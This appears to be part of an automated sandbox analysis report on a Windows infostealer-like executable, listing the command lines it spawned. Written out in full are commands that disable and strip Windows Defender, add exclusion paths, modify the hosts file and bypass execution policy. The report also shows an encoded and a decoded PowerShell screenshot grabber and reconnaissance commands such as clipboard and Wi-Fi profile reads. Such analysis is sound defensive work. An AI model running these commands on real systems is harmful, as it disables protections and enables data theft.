Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\KpHYfxnJs6.exe'"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ??.scr'"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\KpHYfxnJs6.exe'	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ??.scr'

Bypasses PowerShell execution policy

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB

Encrypted powershell cmdline option found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}
Source: C:\Windows\SysWOW64\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}

Modifies Windows Defender protection settings

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior

Modifies the hosts file

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Removes signatures from Windows Defender

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"			Jump to behavior

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Users\user\Desktop\KpHYfxnJs6.exe "C:\Users\user\Desktop\KpHYfxnJs6.exe"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgA